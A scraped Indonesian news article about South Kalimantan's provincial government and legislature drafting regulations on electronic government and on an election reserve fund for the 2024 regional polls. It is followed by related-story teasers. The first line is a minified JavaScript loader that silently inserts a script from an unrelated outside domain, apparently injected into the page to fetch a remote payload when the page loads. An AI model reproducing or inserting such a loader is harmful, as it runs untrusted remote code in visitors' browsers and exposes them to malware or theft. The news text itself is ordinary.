(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pemerintah Provinsi Kalsel dan DPRD Kalsel merancang dua peraturan daerah sebagai landasan operasional pemicu sekaligus mengawal jalannya pembangunan.
Kedua Raperda tersebut, yaitu Raperda tentang Penyelenggaraan Sistem Pemerintah Berbasis Elektronik (SPBE) di lingkungan Pemprov Kalsel dan Raperda tentang Pembentukan Dana Cadangan Pemilihan Kepala Daerah dan Wakil Kepala Daerah.
Terkait upaya percepatan penetapan dua Raperda tentang sebut, Penjabat Gubernur Kalsel, Safrizal ZA memberikan penjelasan terhadap dua Raperda pada Rapat Paripurna DPRD Kalsel, Rabu (21/7/2021), dana cadangan daerah adalah salah satu aspek penting dalam pelaksanaan roda pemerintahan daerah.
Untuk perencanaan pembangunan pada 2024 harus terus berjalan, termasuk agenda Pilkada 2024 dapat terlaksana dengan sukses.
Baca juga: Kadispersip-Rektor UIN Antasari Banjarmasin Bertemu, Ini Kesepakatan yang Dikerjasamakan
“Provinsi Kalimantan Selatan akan melaksanakan pemilihan kepala daerah dan wakil kepala daerah Provinsi Kalimantan Selatan serentak pada tahun 2024, dan hal ini akan membutuhkan alokasi anggaran yang cukup besar, dan harus dipersiapkan melalui mekanisme dana cadangan,” ungkapnya.
Sementara itu, penyusunan Raperda tentang Penyelenggaraan SPBE dirancang meningkatkan kualitas layanan publik dengan memanfaatkan teknologi informasi dan komunikasi yang dikenal dengan sebutan E-Goverment.
“Agar pencapaian sasaran dalam periode beberapa tahun mendatang dapat lebih terarah, maka diperlukan sebuah rencana strategis teknologi informasi sebagai acuan pengembangan aplikasi sistem informasi dan infrastruktur teknologi informasi,” tambah Safrizal.
Baca juga: Pojok Kreasi Hadir di Dispersip Banjar
Oleh karena itu, pemerintah daerah mengambil peran aktif dalam mewujudkan penyelenggaraan SPBE yang dapat menunjang pelayanan publik, keamanan dan ketertiban umum.
Dalam Rapat Paripurna yang dipimpin oleh, Ketua DPRD Kalsel, H Supian HK, juga membahas agenda tentang penjelasan pimpinan Komisi III dan IV DPRD Provinsi Kalsel atas Raperda penyelenggaraan pengelolaan sistem manajemen jalan dan fasilitas pendidikan tinggi.
Selain itu, rapat paripurna ini juga Pj Gubernur menyampaikan kebijakan umum anggaran dan prioritas plafon anggaran sementara APBD Provinsi Kalsel tahun anggaran 2022. (kanalkalimantan.com/shintia)
Reporter : shintia
Editor : kk
KANALKALIMANTAN.COM, BANJARBARU – Jasad berjenis kelamin perempuan didapati warga Landasan Ulin Timur tak bernyawa di… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Provinsi (Pemprov) Kalimantan Selatan (Kalsel) menggelar acara penyerahan hadiah penghargaan Adipura… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More
KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More
KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More
This website uses cookies.